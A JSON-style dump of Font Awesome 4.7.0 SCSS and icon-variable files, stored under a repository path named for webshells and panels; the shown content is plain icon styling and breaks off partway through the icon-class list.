\"\\f1d9\";\n@fa-var-server: \"\\f233\";\n@fa-var-share: \"\\f064\";\n@fa-var-share-alt: \"\\f1e0\";\n@fa-var-share-alt-square: \"\\f1e1\";\n@fa-var-share-square: \"\\f14d\";\n@fa-var-share-square-o: \"\\f045\";\n@fa-var-shekel: \"\\f20b\";\n@fa-var-sheqel: \"\\f20b\";\n@fa-var-shield: \"\\f132\";\n@fa-var-ship: \"\\f21a\";\n@fa-var-shirtsinbulk: \"\\f214\";\n@fa-var-shopping-bag: \"\\f290\";\n@fa-var-shopping-basket: \"\\f291\";\n@fa-var-shopping-cart: \"\\f07a\";\n@fa-var-shower: \"\\f2cc\";\n@fa-var-sign-in: \"\\f090\";\n@fa-var-sign-language: \"\\f2a7\";\n@fa-var-sign-out: \"\\f08b\";\n@fa-var-signal: \"\\f012\";\n@fa-var-signing: \"\\f2a7\";\n@fa-var-simplybuilt: \"\\f215\";\n@fa-var-sitemap: \"\\f0e8\";\n@fa-var-skyatlas: \"\\f216\";\n@fa-var-skype: \"\\f17e\";\n@fa-var-slack: \"\\f198\";\n@fa-var-sliders: \"\\f1de\";\n@fa-var-slideshare: \"\\f1e7\";\n@fa-var-smile-o: \"\\f118\";\n@fa-var-snapchat: \"\\f2ab\";\n@fa-var-snapchat-ghost: \"\\f2ac\";\n@fa-var-snapchat-square: \"\\f2ad\";\n@fa-var-snowflake-o: \"\\f2dc\";\n@fa-var-soccer-ball-o: \"\\f1e3\";\n@fa-var-sort: \"\\f0dc\";\n@fa-var-sort-alpha-asc: \"\\f15d\";\n@fa-var-sort-alpha-desc: \"\\f15e\";\n@fa-var-sort-amount-asc: \"\\f160\";\n@fa-var-sort-amount-desc: \"\\f161\";\n@fa-var-sort-asc: \"\\f0de\";\n@fa-var-sort-desc: \"\\f0dd\";\n@fa-var-sort-down: \"\\f0dd\";\n@fa-var-sort-numeric-asc: \"\\f162\";\n@fa-var-sort-numeric-desc: \"\\f163\";\n@fa-var-sort-up: \"\\f0de\";\n@fa-var-soundcloud: \"\\f1be\";\n@fa-var-space-shuttle: \"\\f197\";\n@fa-var-spinner: \"\\f110\";\n@fa-var-spoon: \"\\f1b1\";\n@fa-var-spotify: \"\\f1bc\";\n@fa-var-square: \"\\f0c8\";\n@fa-var-square-o: \"\\f096\";\n@fa-var-stack-exchange: \"\\f18d\";\n@fa-var-stack-overflow: \"\\f16c\";\n@fa-var-star: \"\\f005\";\n@fa-var-star-half: \"\\f089\";\n@fa-var-star-half-empty: \"\\f123\";\n@fa-var-star-half-full: \"\\f123\";\n@fa-var-star-half-o: \"\\f123\";\n@fa-var-star-o: \"\\f006\";\n@fa-var-steam: \"\\f1b6\";\n@fa-var-steam-square: \"\\f1b7\";\n@fa-var-step-backward: \"\\f048\";\n@fa-var-step-forward: \"\\f051\";\n@fa-var-stethoscope: \"\\f0f1\";\n@fa-var-sticky-note: \"\\f249\";\n@fa-var-sticky-note-o: \"\\f24a\";\n@fa-var-stop: \"\\f04d\";\n@fa-var-stop-circle: \"\\f28d\";\n@fa-var-stop-circle-o: \"\\f28e\";\n@fa-var-street-view: \"\\f21d\";\n@fa-var-strikethrough: \"\\f0cc\";\n@fa-var-stumbleupon: \"\\f1a4\";\n@fa-var-stumbleupon-circle: \"\\f1a3\";\n@fa-var-subscript: \"\\f12c\";\n@fa-var-subway: \"\\f239\";\n@fa-var-suitcase: \"\\f0f2\";\n@fa-var-sun-o: \"\\f185\";\n@fa-var-superpowers: \"\\f2dd\";\n@fa-var-superscript: \"\\f12b\";\n@fa-var-support: \"\\f1cd\";\n@fa-var-table: \"\\f0ce\";\n@fa-var-tablet: \"\\f10a\";\n@fa-var-tachometer: \"\\f0e4\";\n@fa-var-tag: \"\\f02b\";\n@fa-var-tags: \"\\f02c\";\n@fa-var-tasks: \"\\f0ae\";\n@fa-var-taxi: \"\\f1ba\";\n@fa-var-telegram: \"\\f2c6\";\n@fa-var-television: \"\\f26c\";\n@fa-var-tencent-weibo: \"\\f1d5\";\n@fa-var-terminal: \"\\f120\";\n@fa-var-text-height: \"\\f034\";\n@fa-var-text-width: \"\\f035\";\n@fa-var-th: \"\\f00a\";\n@fa-var-th-large: \"\\f009\";\n@fa-var-th-list: \"\\f00b\";\n@fa-var-themeisle: \"\\f2b2\";\n@fa-var-thermometer: \"\\f2c7\";\n@fa-var-thermometer-0: \"\\f2cb\";\n@fa-var-thermometer-1: \"\\f2ca\";\n@fa-var-thermometer-2: \"\\f2c9\";\n@fa-var-thermometer-3: \"\\f2c8\";\n@fa-var-thermometer-4: \"\\f2c7\";\n@fa-var-thermometer-empty: \"\\f2cb\";\n@fa-var-thermometer-full: \"\\f2c7\";\n@fa-var-thermometer-half: \"\\f2c9\";\n@fa-var-thermometer-quarter: \"\\f2ca\";\n@fa-var-thermometer-three-quarters: \"\\f2c8\";\n@fa-var-thumb-tack: \"\\f08d\";\n@fa-var-thumbs-down: \"\\f165\";\n@fa-var-thumbs-o-down: \"\\f088\";\n@fa-var-thumbs-o-up: \"\\f087\";\n@fa-var-thumbs-up: \"\\f164\";\n@fa-var-ticket: \"\\f145\";\n@fa-var-times: \"\\f00d\";\n@fa-var-times-circle: \"\\f057\";\n@fa-var-times-circle-o: \"\\f05c\";\n@fa-var-times-rectangle: \"\\f2d3\";\n@fa-var-times-rectangle-o: \"\\f2d4\";\n@fa-var-tint: \"\\f043\";\n@fa-var-toggle-down: \"\\f150\";\n@fa-var-toggle-left: \"\\f191\";\n@fa-var-toggle-off: \"\\f204\";\n@fa-var-toggle-on: \"\\f205\";\n@fa-var-toggle-right: \"\\f152\";\n@fa-var-toggle-up: \"\\f151\";\n@fa-var-trademark: \"\\f25c\";\n@fa-var-train: \"\\f238\";\n@fa-var-transgender: \"\\f224\";\n@fa-var-transgender-alt: \"\\f225\";\n@fa-var-trash: \"\\f1f8\";\n@fa-var-trash-o: \"\\f014\";\n@fa-var-tree: \"\\f1bb\";\n@fa-var-trello: \"\\f181\";\n@fa-var-tripadvisor: \"\\f262\";\n@fa-var-trophy: \"\\f091\";\n@fa-var-truck: \"\\f0d1\";\n@fa-var-try: \"\\f195\";\n@fa-var-tty: \"\\f1e4\";\n@fa-var-tumblr: \"\\f173\";\n@fa-var-tumblr-square: \"\\f174\";\n@fa-var-turkish-lira: \"\\f195\";\n@fa-var-tv: \"\\f26c\";\n@fa-var-twitch: \"\\f1e8\";\n@fa-var-twitter: \"\\f099\";\n@fa-var-twitter-square: \"\\f081\";\n@fa-var-umbrella: \"\\f0e9\";\n@fa-var-underline: \"\\f0cd\";\n@fa-var-undo: \"\\f0e2\";\n@fa-var-universal-access: \"\\f29a\";\n@fa-var-university: \"\\f19c\";\n@fa-var-unlink: \"\\f127\";\n@fa-var-unlock: \"\\f09c\";\n@fa-var-unlock-alt: \"\\f13e\";\n@fa-var-unsorted: \"\\f0dc\";\n@fa-var-upload: \"\\f093\";\n@fa-var-usb: \"\\f287\";\n@fa-var-usd: \"\\f155\";\n@fa-var-user: \"\\f007\";\n@fa-var-user-circle: \"\\f2bd\";\n@fa-var-user-circle-o: \"\\f2be\";\n@fa-var-user-md: \"\\f0f0\";\n@fa-var-user-o: \"\\f2c0\";\n@fa-var-user-plus: \"\\f234\";\n@fa-var-user-secret: \"\\f21b\";\n@fa-var-user-times: \"\\f235\";\n@fa-var-users: \"\\f0c0\";\n@fa-var-vcard: \"\\f2bb\";\n@fa-var-vcard-o: \"\\f2bc\";\n@fa-var-venus: \"\\f221\";\n@fa-var-venus-double: \"\\f226\";\n@fa-var-venus-mars: \"\\f228\";\n@fa-var-viacoin: \"\\f237\";\n@fa-var-viadeo: \"\\f2a9\";\n@fa-var-viadeo-square: \"\\f2aa\";\n@fa-var-video-camera: \"\\f03d\";\n@fa-var-vimeo: \"\\f27d\";\n@fa-var-vimeo-square: \"\\f194\";\n@fa-var-vine: \"\\f1ca\";\n@fa-var-vk: \"\\f189\";\n@fa-var-volume-control-phone: \"\\f2a0\";\n@fa-var-volume-down: \"\\f027\";\n@fa-var-volume-off: \"\\f026\";\n@fa-var-volume-up: \"\\f028\";\n@fa-var-warning: \"\\f071\";\n@fa-var-wechat: \"\\f1d7\";\n@fa-var-weibo: \"\\f18a\";\n@fa-var-weixin: \"\\f1d7\";\n@fa-var-whatsapp: \"\\f232\";\n@fa-var-wheelchair: \"\\f193\";\n@fa-var-wheelchair-alt: \"\\f29b\";\n@fa-var-wifi: \"\\f1eb\";\n@fa-var-wikipedia-w: \"\\f266\";\n@fa-var-window-close: \"\\f2d3\";\n@fa-var-window-close-o: \"\\f2d4\";\n@fa-var-window-maximize: \"\\f2d0\";\n@fa-var-window-minimize: \"\\f2d1\";\n@fa-var-window-restore: \"\\f2d2\";\n@fa-var-windows: \"\\f17a\";\n@fa-var-won: \"\\f159\";\n@fa-var-wordpress: \"\\f19a\";\n@fa-var-wpbeginner: \"\\f297\";\n@fa-var-wpexplorer: \"\\f2de\";\n@fa-var-wpforms: \"\\f298\";\n@fa-var-wrench: \"\\f0ad\";\n@fa-var-xing: \"\\f168\";\n@fa-var-xing-square: \"\\f169\";\n@fa-var-y-combinator: \"\\f23b\";\n@fa-var-y-combinator-square: \"\\f1d4\";\n@fa-var-yahoo: \"\\f19e\";\n@fa-var-yc: \"\\f23b\";\n@fa-var-yc-square: \"\\f1d4\";\n@fa-var-yelp: \"\\f1e9\";\n@fa-var-yen: \"\\f157\";\n@fa-var-yoast: \"\\f2b1\";\n@fa-var-youtube: \"\\f167\";\n@fa-var-youtube-play: \"\\f16a\";\n@fa-var-youtube-square: \"\\f166\";\n\n"
  },
  {
    "path": "Webshells_and_Panel/FoxPanel222/Files/Login_v1/Login_v1/fonts/font-awesome-4.7.0/scss/_animated.scss",
    "content": "// Spinning Icons\n// --------------------------\n\n.#{$fa-css-prefix}-spin {\n  -webkit-animation: fa-spin 2s infinite linear;\n          animation: fa-spin 2s infinite linear;\n}\n\n.#{$fa-css-prefix}-pulse {\n  -webkit-animation: fa-spin 1s infinite steps(8);\n          animation: fa-spin 1s infinite steps(8);\n}\n\n@-webkit-keyframes fa-spin {\n  0% {\n    -webkit-transform: rotate(0deg);\n            transform: rotate(0deg);\n  }\n  100% {\n    -webkit-transform: rotate(359deg);\n            transform: rotate(359deg);\n  }\n}\n\n@keyframes fa-spin {\n  0% {\n    -webkit-transform: rotate(0deg);\n            transform: rotate(0deg);\n  }\n  100% {\n    -webkit-transform: rotate(359deg);\n            transform: rotate(359deg);\n  }\n}\n"
  },
  {
    "path": "Webshells_and_Panel/FoxPanel222/Files/Login_v1/Login_v1/fonts/font-awesome-4.7.0/scss/_bordered-pulled.scss",
    "content": "// Bordered & Pulled\n// -------------------------\n\n.#{$fa-css-prefix}-border {\n  padding: .2em .25em .15em;\n  border: solid .08em $fa-border-color;\n  border-radius: .1em;\n}\n\n.#{$fa-css-prefix}-pull-left { float: left; }\n.#{$fa-css-prefix}-pull-right { float: right; }\n\n.#{$fa-css-prefix} {\n  &.#{$fa-css-prefix}-pull-left { margin-right: .3em; }\n  &.#{$fa-css-prefix}-pull-right { margin-left: .3em; }\n}\n\n/* Deprecated as of 4.4.0 */\n.pull-right { float: right; }\n.pull-left { float: left; }\n\n.#{$fa-css-prefix} {\n  &.pull-left { margin-right: .3em; }\n  &.pull-right { margin-left: .3em; }\n}\n"
  },
  {
    "path": "Webshells_and_Panel/FoxPanel222/Files/Login_v1/Login_v1/fonts/font-awesome-4.7.0/scss/_core.scss",
    "content": "// Base Class Definition\n// -------------------------\n\n.#{$fa-css-prefix} {\n  display: inline-block;\n  font: normal normal normal #{$fa-font-size-base}/#{$fa-line-height-base} FontAwesome; // shortening font declaration\n  font-size: inherit; // can't have font-size inherit on line above, so need to override\n  text-rendering: auto; // optimizelegibility throws things off #1094\n  -webkit-font-smoothing: antialiased;\n  -moz-osx-font-smoothing: grayscale;\n\n}\n"
  },
  {
    "path": "Webshells_and_Panel/FoxPanel222/Files/Login_v1/Login_v1/fonts/font-awesome-4.7.0/scss/_fixed-width.scss",
    "content": "// Fixed Width Icons\n// -------------------------\n.#{$fa-css-prefix}-fw {\n  width: (18em / 14);\n  text-align: center;\n}\n"
  },
  {
    "path": "Webshells_and_Panel/FoxPanel222/Files/Login_v1/Login_v1/fonts/font-awesome-4.7.0/scss/_icons.scss",
    "content": "/* Font Awesome uses the Unicode Private Use Area (PUA) to ensure screen\n   readers do not read off random characters that represent icons */\n\n.#{$fa-css-prefix}-glass:before { content: $fa-var-glass; }\n.#{$fa-css-prefix}-music:before { content: $fa-var-music; }\n.#{$fa-css-prefix}-search:before { content: $fa-var-search; }\n.#{$fa-css-prefix}-envelope-o:before { content: $fa-var-envelope-o; }\n.#{$fa-css-prefix}-heart:before { content: $fa-var-heart; }\n.#{$fa-css-prefix}-star:before { content: $fa-var-star; }\n.#{$fa-css-prefix}-star-o:before { content: $fa-var-star-o; }\n.#{$fa-css-prefix}-user:before { content: $fa-var-user; }\n.#{$fa-css-prefix}-film:before { content: $fa-var-film; }\n.#{$fa-css-prefix}-th-large:before { content: $fa-var-th-large; }\n.#{$fa-css-prefix}-th:before { content: $fa-var-th; }\n.#{$fa-css-prefix}-th-list:before { content: $fa-var-th-list; }\n.#{$fa-css-prefix}-check:before { content: $fa-var-check; }\n.#{$fa-css-prefix}-remove:before,\n.#{$fa-css-prefix}-close:before,\n.#{$fa-css-prefix}-times:before { content: $fa-var-times; }\n.#{$fa-css-prefix}-search-plus:before { content: $fa-var-search-plus; }\n.#{$fa-css-prefix}-search-minus:before { content: $fa-var-search-minus; }\n.#{$fa-css-prefix}-power-off:before { content: $fa-var-power-off; }\n.#{$fa-css-prefix}-signal:before { content: $fa-var-signal; }\n.#{$fa-css-prefix}-gear:before,\n.#{$fa-css-prefix}-cog:before { content: $fa-var-cog; }\n.#{$fa-css-prefix}-trash-o:before { content: $fa-var-trash-o; }\n.#{$fa-css-prefix}-home:before { content: $fa-var-home; }\n.#{$fa-css-prefix}-file-o:before { content: $fa-var-file-o; }\n.#{$fa-css-prefix}-clock-o:before { content: $fa-var-clock-o; }\n.#{$fa-css-prefix}-road:before { content: $fa-var-road; }\n.#{$fa-css-prefix}-download:before { content: $fa-var-download; }\n.#{$fa-css-prefix}-arrow-circle-o-down:before { content: $fa-var-arrow-circle-o-down; }\n.#{$fa-css-prefix}-arrow-circle-o-up:before { content: $fa-var-arrow-circle-o-up; }\n.#{$fa-css-prefix}-inbox:before { content: $fa-var-inbox; }\n.#{$fa-css-prefix}-play-circle-o:before { content: $fa-var-play-circle-o; }\n.#{$fa-css-prefix}-rotate-right:before,\n.#{$fa-css-prefix}-repeat:before { content: $fa-var-repeat; }\n.#{$fa-css-prefix}-refresh:before { content: $fa-var-refresh; }\n.#{$fa-css-prefix}-list-alt:before { content: $fa-var-list-alt; }\n.#{$fa-css-prefix}-lock:before { content: $fa-var-lock; }\n.#{$fa-css-prefix}-flag:before { content: $fa-var-flag; }\n.#{$fa-css-prefix}-headphones:before { content: $fa-var-headphones; }\n.#{$fa-css-prefix}-volume-off:before { content: $fa-var-volume-off; }\n.#{$fa-css-prefix}-volume-down:before { content: $fa-var-volume-down; }\n.#{$fa-css-prefix}-volume-up:before { content: $fa-var-volume-up; }\n.#{$fa-css-prefix}-qrcode:before { content: $fa-var-qrcode; }\n.#{$fa-css-prefix}-barcode:before { content: $fa-var-barcode; }\n.#{$fa-css-prefix}-tag:before { content: $fa-var-tag; }\n.#{$fa-css-prefix}-tags:before { content: $fa-var-tags; }\n.#{$fa-css-prefix}-book:before { content: $fa-var-book; }\n.#{$fa-css-prefix}-bookmark:before { content: $fa-var-bookmark; }\n.#{$fa-css-prefix}-print:before { content: $fa-var-print; }\n.#{$fa-css-prefix}-camera:before { content: $fa-var-camera; }\n.#{$fa-css-prefix}-font:before { content: $fa-var-font; }\n.#{$fa-css-prefix}-bold:before { content: $fa-var-bold; }\n.#{$fa-css-prefix}-italic:before { content: $fa-var-italic; }\n.#{$fa-css-prefix}-text-height:before { content: $fa-var-text-height; }\n.#{$fa-css-prefix}-text-width:before { content: $fa-var-text-width; }\n.#{$fa-css-prefix}-align-left:before { content: $fa-var-align-left; }\n.#{$fa-css-prefix}-align-center:before { content: $fa-var-align-center; }\n.#{$fa-css-prefix}-align-right:before { content: $fa-var-align-right; }\n.#{$fa-css-prefix}-align-justify:before { content: $fa-var-align-justify; }\n.#{$fa-css-prefix}-list:before { content: $fa-var-list; }\n.#{$fa-css-prefix}-dedent:before,\n.#{$fa-css-prefix}-outdent:before { content: $fa-var-outdent; }\n.#{$fa-css-prefix}-indent:before { content: $fa-var-indent; }\n.#{$fa-css-prefix}-video-camera:before { content: $fa-var-video-camera; }\n.#{$fa-css-prefix}-photo:before,\n.#{$fa-css-prefix}-image:before,\n.#{$fa-css-prefix}-picture-o:before { content: $fa-var-picture-o; }\n.#{$fa-css-prefix}-pencil:before { content: $fa-var-pencil; }\n.#{$fa-css-prefix}-map-marker:before { content: $fa-var-map-marker; }\n.#{$fa-css-prefix}-adjust:before { content: $fa-var-adjust; }\n.#{$fa-css-prefix}-tint:before { content: $fa-var-tint; }\n.#{$fa-css-prefix}-edit:before,\n.#{$fa-css-prefix}-pencil-square-o:before { content: $fa-var-pencil-square-o; }\n.#{$fa-css-prefix}-share-square-o:before { content: $fa-var-share-square-o; }\n.#{$fa-css-prefix}-check-square-o:before { content: $fa-var-check-square-o; }\n.#{$fa-css-prefix}-arrows:before { content: $fa-var-arrows; }\n.#{$fa-css-prefix}-step-backward:before { content: $fa-var-step-backward; }\n.#{$fa-css-prefix}-fast-backward:before { content: $fa-var-fast-backward; }\n.#{$fa-css-prefix}-backward:before { content: $fa-var-backward; }\n.#{$fa-css-prefix}-play:before { content: $fa-var-play; }\n.#{$fa-css-prefix}-pause:before { content: $fa-var-pause; }\n.#{$fa-css-prefix}-stop:before { content: $fa-var-stop; }\n.#{$fa-css-prefix}-forward:before { content: $fa-var-forward; }\n.#{$fa-css-prefix}-fast-forward:before { content: $fa-var-fast-forward; }\n.#{$fa-css-prefix}-step-forward:before { content: $fa-var-step-forward; }\n.#{$fa-css-prefix}-eject:before { content: $fa-var-eject; }\n.#{$fa-css-prefix}-chevron-left:before { content: $fa-var-chevron-left; }\n.#{$fa-css-prefix}-chevron-right:before { content: $fa-var-chevron-right; }\n.#{$fa-css-prefix}-plus-circle:before { content: $fa-var-plus-circle; }\n.#{$fa-css-prefix}-minus-circle:before { content: $fa-var-minus-circle; }\n.#{$fa-css-prefix}-times-circle:before { content: $fa-var-times-circle; }\n.#{$fa-css-prefix}-check-circle:before { content: $fa-var-check-circle; }\n.#{$fa-css-prefix}-question-circle:before { content: $fa-var-question-circle; }\n.#{$fa-css-prefix}-info-circle:before { content: $fa-var-info-circle; }\n.#{$fa-css-prefix}-crosshairs:before { content: $fa-var-crosshairs; }\n.#{$fa-css-prefix}-times-circle-o:before { content: $fa-var-times-circle-o; }\n.#{$fa-css-prefix}-check-circle-o:before { content: $fa-var-check-circle-o; }\n.#{$fa-css-prefix}-ban:before { content: $fa-var-ban; }\n.#{$fa-css-prefix}-arrow-left:before { content: $fa-var-arrow-left; }\n.#{$fa-css-prefix}-arrow-right:before { content: $fa-var-arrow-right; }\n.#{$fa-css-prefix}-arrow-up:before { content: $fa-var-arrow-up; }\n.#{$fa-css-prefix}-arrow-down:before { content: $fa-var-arrow-down; }\n.#{$fa-css-prefix}-mail-forward:before,\n.#{$fa-css-prefix}-share:before { content: $fa-var-share; }\n.#{$fa-css-prefix}-expand:before { content: $fa-var-expand; }\n.#{$fa-css-prefix}-compress:before { content: $fa-var-compress; }\n.#{$fa-css-prefix}-plus:before { content: $fa-var-plus; }\n.#{$fa-css-prefix}-minus:before { content: $fa-var-minus; }\n.#{$fa-css-prefix}-asterisk:before { content: $fa-var-asterisk; }\n.#{$fa-css-prefix}-exclamation-circle:before { content: $fa-var-exclamation-circle; }\n.#{$fa-css-prefix}-gift:before { content: $fa-var-gift; }\n.#{$fa-css-prefix}-leaf:before { content: $fa-var-leaf; }\n.#{$fa-css-prefix}-fire:before { content: $fa-var-fire; }\n.#{$fa-css-prefix}-eye:before { content: $fa-var-eye; }\n.#{$fa-css-prefix}-eye-slash:before { content: $fa-var-eye-slash; }\n.#{$fa-css-prefix}-warning:before,\n.#{$fa-css-prefix}-exclamation-triangle:before { content: $fa-var-exclamation-triangle; }\n.#{$fa-css-prefix}-plane:before { content: $fa-var-plane; }\n.#{$fa-css-prefix}-calendar:before { content: $fa-var-calendar; }\n.#{$fa-css-prefix}-random:before { content: $fa-var-random; }\n.#{$fa-css-prefix}-comment:before { content: $fa-var-comment; }\n.#{$fa-css-prefix}-magnet:before { content: $fa-var-magnet; }\n.#{$fa-css-prefix}-chevron-up:before { content: $fa-var-chevron-up; }\n.#{$fa-css-prefix}-chevron-down:before { content: $fa-var-chevron-down; }\n.#{$fa-css-prefix}-retweet:before { content: $fa-var-retweet; }\n.#{$fa-css-prefix}-shopping-cart:before { content: $fa-var-shopping-cart; }\n.#{$fa-css-prefix}-folder:before { content: $fa-var-folder; }\n.#{$fa-css-prefix}-folder-open:before { content: $fa-var-folder-open; }\n.#{$fa-css-prefix}-arrows-v:before { content: $fa-var-arrows-v; }\n.#{$fa-css-prefix}-arrows-h:before { content: $fa-var-arrows-h; }\n.#{$fa-css-prefix}-bar-chart-o:before,\n.#{$fa-css-prefix}-bar-chart:before { content: $fa-var-bar-chart; }\n.#{$fa-css-prefix}-twitter-square:before { content: $fa-var-twitter-square; }\n.#{$fa-css-prefix}-facebook-square:before { content: $fa-var-facebook-square; }\n.#{$fa-css-prefix}-camera-retro:before { content: $fa-var-camera-retro; }\n.#{$fa-css-prefix}-key:before { content: $fa-var-key; }\n.#{$fa-css-prefix}-gears:before,\n.#{$fa-css-prefix}-cogs:before { content: $fa-var-cogs; }\n.#{$fa-css-prefix}-comments:before { content: $fa-var-comments; }\n.#{$fa-css-prefix}-thumbs-o-up:before { content: $fa-var-thumbs-o-up; }\n.#{$fa-css-prefix}-thumbs-o-down:before { content: $fa-var-thumbs-o-down; }\n.#{$fa-css-prefix}-star-half:before { content: $fa-var-star-half; }\n.#{$fa-css-prefix}-heart-o:before { content: $fa-var-heart-o; }\n.#{$fa-css-prefix}-sign-out:before { content: $fa-var-sign-out; }\n.#{$fa-css-prefix}-linkedin-square:before { content: $fa-var-linkedin-square; }\n.#{$fa-css-prefix}-thumb-tack:before { content: $fa-var-thumb-tack; }\n.#{$fa-css-prefix}-external-link:before { content: $fa-var-external-link; }\n.#{$fa-css-prefix}-sign-in:before { content: $fa-var-sign-in; }\n.#{$fa-css-prefix}-trophy:before { content: $fa-var-trophy; }\n.#{$fa-css-prefix}-github-square:before { content: $fa-var-github-square; }\n.#{$fa-css-prefix}-upload:before { content: $fa-var-upload; }\n.#{$fa-css-prefix}-lemon-o:before { content: $fa-var-lemon-o; }\n.#{$fa-css-prefix}-phone:before { content: $fa-var-phone; }\n.#{$fa-css-prefix}-square-o:before { content: $fa-var-square-o; }\n.#{$fa-css-prefix}-bookmark-o:before { content: $fa-var-bookmark-o; }\n.#{$fa-css-prefix}-phone-square:before { content: $fa-var-phone-square; }\n.#{$fa-css-prefix}-twitter:before { content: $fa-var-twitter; }\n.#{$fa-css-prefix}-facebook-f:before,\n.#{$fa-css-prefix}-facebook:before { content: $fa-var-facebook; }\n.#{$fa-css-prefix}-github:before { content: $fa-var-github; }\n.#{$fa-css-prefix}-unlock:before { content: $fa-var-unlock; }\n.#{$fa-css-prefix}-credit-card:before { content: $fa-var-credit-card; }\n.#{$fa-css-prefix}-feed:before,\n.#{$fa-css-prefix}-rss:before { content: $fa-var-rss; }\n.#{$fa-css-prefix}-hdd-o:before { content: $fa-var-hdd-o; }\n.#{$fa-css-prefix}-bullhorn:before { content: $fa-var-bullhorn; }\n.#{$fa-css-prefix}-bell:before { content: $fa-var-bell; }\n.#{$fa-css-prefix}-certificate:before { content: $fa-var-certificate; }\n.#{$fa-css-prefix}-hand-o-right:before { content: $fa-var-hand-o-right; }\n.#{$fa-css-prefix}-hand-o-left:before { content: $fa-var-hand-o-left; }\n.#{$fa-css-prefix}-hand-o-up:before { content: $fa-var-hand-o-up; }\n.#{$fa-css-prefix}-hand-o-down:before { content: $fa-var-hand-o-down; }\n.#{$fa-css-prefix}-arrow-circle-left:before { content: $fa-var-arrow-circle-left; }\n.#{$fa-css-prefix}-arrow-circle-right:before { content: $fa-var-arrow-circle-right; }\n.#{$fa-css-prefix}-arrow-circle-up:before { content: $fa-var-arrow-circle-up; }\n.#{$fa-css-prefix}-arrow-circle-down:before { content: $fa-var-arrow-circle-down; }\n.#{$fa-css-prefix}-globe:before { content: $fa-var-globe; }\n.#{$fa-css-prefix}-wrench:before { content: $fa-var-wrench; }\n.#{$fa-css-prefix}-tasks:before { content: $fa-var-tasks; }\n.#{$fa-css-prefix}-filter:before { content: $fa-var-filter; }\n.#{$fa-css-prefix}-briefcase:before { content: $fa-var-briefcase; }\n.#{$fa-css-prefix}-arrows-alt:before { content: $fa-var-arrows-alt; }\n.#{$fa-css-prefix}-group:before,\n.#{$fa-css-prefix}-users:before { content: $fa-var-users; }\n.#{$fa-css-prefix}-chain:before,\n.#{$fa-css-prefix}-link:before { content: $fa-var-link; }\n.#{$fa-css-prefix}-cloud:before { content: $fa-var-cloud; }\n.#{$fa-css-prefix}-flask:before { content: $fa-var-flask; }\n.#{$fa-css-prefix}-cut:before,\n.#{$fa-css-prefix}-scissors:before { content: $fa-var-scissors; }\n.#{$fa-css-prefix}-copy:before,\n.#{$fa-css-prefix}-files-o:before { content: $fa-var-files-o; }\n.#{$fa-css-prefix}-paperclip:before { content: $fa-var-paperclip; }\n.#{$fa-css-prefix}-save:before,\n.#{$fa-css-prefix}-floppy-o:before { content: $fa-var-floppy-o; }\n.#{$fa-css-prefix}-square:before { content: $fa-var-square; }\n.#{$fa-css-prefix}-navicon:before,\n.#{$fa-css-prefix}-reorder:before,\n.#{$fa-css-prefix}-bars:before { content: $fa-var-bars; }\n.#{$fa-css-prefix}-list-ul:before { content: $fa-var-list-ul; }\n.#{$fa-css-prefix}-list-ol:before { content: $fa-var-list-ol; }\n.#{$fa-css-prefix}-strikethrough:before { content: $fa-var-strikethrough; }\n.#{$fa-css-prefix}-underline:before { content: $fa-var-underline; }\n.#{$fa-css-prefix}-table:before { content: $fa-var-table; }\n.#{$fa-css-prefix}-magic:before { content: $fa-var-magic; }\n.#{$fa-css-prefix}-truck:before { content: $fa-var-truck; }\n.#{$fa-css-prefix}-pinterest:before { content: $fa-var-pinterest; }\n.#{$fa-css-prefix}-pinterest-square:before { content: $fa-var-pinterest-square; }\n.#{$fa-css-prefix}-google-plus-square:before { content: $fa-var-google-plus-square; }\n.#{$fa-css-prefix}-google-plus:before { content: $fa-var-google-plus; }\n.#{$fa-css-prefix}-money:before { content: $fa-var-money; }\n.#{$fa-css-prefix}-caret-down:before { content: $fa-var-caret-down; }\n.#{$fa-css-prefix}-caret-up:before { content: $fa-var-caret-up; }\n.#{$fa-css-prefix}-caret-left:before { content: $fa-var-caret-left; }\n.#{$fa-css-prefix}-caret-right:before { content: $fa-var-caret-right; }\n.#{$fa-css-prefix}-columns:before { content: $fa-var-columns; }\n.#{$fa-css-prefix}-unsorted:before,\n.#{$fa-css-prefix}-sort:before { content: $fa-var-sort; }\n.#{$fa-css-prefix}-sort-down:before,\n.#{$fa-css-prefix}-sort-desc:before { content: $fa-var-sort-desc; }\n.#{$fa-css-prefix}-sort-up:before,\n.#{$fa-css-prefix}-sort-asc:before { content: $fa-var-sort-asc; }\n.#{$fa-css-prefix}-envelope:before { content: $fa-var-envelope; }\n.#{$fa-css-prefix}-linkedin:before { content: $fa-var-linkedin; }\n.#{$fa-css-prefix}-rotate-left:before,\n.#{$fa-css-prefix}-undo:before { content: $fa-var-undo; }\n.#{$fa-css-prefix}-legal:before,\n.#{$fa-css-prefix}-gavel:before { content: $fa-var-gavel; }\n.#{$fa-css-prefix}-dashboard:before,\n.#{$fa-css-prefix}-tachometer:before { content: $fa-var-tachometer; }\n.#{$fa-css-prefix}-comment-o:before { content: $fa-var-comment-o; }\n.#{$fa-css-prefix}-comments-o:before { content: $fa-var-comments-o; }\n.#{$fa-css-prefix}-flash:before,\n.#{$fa-css-prefix}-bolt:before { content: $fa-var-bolt; }\n.#{$fa-css-prefix}-sitemap:before { content: $fa-var-sitemap; }\n.#{$fa-css-prefix}-umbrella:before { content: $fa-var-umbrella; }\n.#{$fa-css-prefix}-paste:before,\n.#{$fa-css-prefix}-clipboard:before { content: $fa-var-clipboard; }\n.#{$fa-css-prefix}-lightbulb-o:before { content: $fa-var-lightbulb-o; }\n.#{$fa-css-prefix}-exchange:before { content: $fa-var-exchange; }\n.#{$fa-css-prefix}-cloud-download:before { content: $fa-var-cloud-download; }\n.#{$fa-css-prefix}-cloud-upload:before { content: $fa-var-cloud-upload; }\n.#{$fa-css-prefix}-user-md:before { content: $fa-var-user-md; }\n.#{$fa-css-prefix}-stethoscope:before { content: $fa-var-stethoscope; }\n.#{$fa-css-prefix}-suitcase:before { content: $fa-var-suitcase; }\n.#{$fa-css-prefix}-bell-o:before { content: $fa-var-bell-o; }\n.#{$fa-css-prefix}-coffee:before { content: $fa-var-coffee; }\n.#{$fa-css-prefix}-cutlery:before { content: $fa-var-cutlery; }\n.#{$fa-css-prefix}-file-text-o:before { content: $fa-var-file-text-o; }\n.#{$fa-css-prefix}-building-o:before { content: $fa-var-building-o; }\n.#{$fa-css-prefix}-hospital-o:before { content: $fa-var-hospital-o; }\n.#{$fa-css-prefix}-ambulance:before { content: $fa-var-ambulance; }\n.#{$fa-css-prefix}-medkit:before { content: $fa-var-medkit; 